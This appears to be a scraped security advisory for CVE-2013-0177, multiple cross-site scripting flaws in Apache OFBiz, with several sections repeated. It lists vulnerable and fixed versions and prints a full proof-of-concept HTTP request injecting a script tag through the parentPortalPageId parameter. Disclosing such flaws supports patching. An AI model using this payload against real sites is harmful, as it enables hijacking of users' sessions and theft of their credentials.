Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
BID:57463
Info
Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 57463 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-0177 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 18 2013 12:00AM |
| Updated: | Jan 18 2013 12:00AM |
| Credit: | Juan Caillava and Marcos Garcia |
| Vulnerable: |
Apache OfBiz 11.4.1 Apache OfBiz 10.4.4 Apache OfBiz 10.4.3 Apache OfBiz 10.4.2 Apache OfBiz 10.4.1 Apache OfBiz 10.04 |
| Not Vulnerable: |
Apache OfBiz 11.4.2 Apache OfBiz 10.4.5 |
Discussion
Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
Apache OFBiz is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Apache OFBiz versions prior to 10.04.05 and 11.04.02 are vulnerable.
Apache OFBiz is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Apache OFBiz versions prior to 10.04.05 and 11.04.02 are vulnerable.
Exploit / POC
Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit this issue by enticing an unsuspecting victim into following a malicious URI.
The following example request is available:
GET
/exampleext/control/ManagePortalPages?parentPortalPageId=EXAMPLE"><script>alert("xss")</script>
HTTP/1.1
Host: www.example.com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Referer: https://www.example.com:8443/exampleext/control/main?externalLoginKey=EL367731470037
Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1; OFBiz.Visitor=10002
Attackers can exploit this issue by enticing an unsuspecting victim into following a malicious URI.
The following example request is available:
GET
/exampleext/control/ManagePortalPages?parentPortalPageId=EXAMPLE"><script>alert("xss")</script>
HTTP/1.1
Host: www.example.com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Referer: https://www.example.com:8443/exampleext/control/main?externalLoginKey=EL367731470037
Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1; OFBiz.Visitor=10002
Solution / Fix
Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
Solution:
Vendor updates are available. Please see the references for details.
Solution:
Vendor updates are available. Please see the references for details.
References
Apache OFBiz CVE-2013-0177 Multiple Cross Site Scripting Vulnerabilities
References:
References:
- [CVE-2013-0177] Cross-Site Scripting (XSS) Vulnerability in Apache OFBiz (SecLists.Org)
- Apache OFBiz Homepage (Apache)
- Download Apache OFBiz (Apache Software Foundation)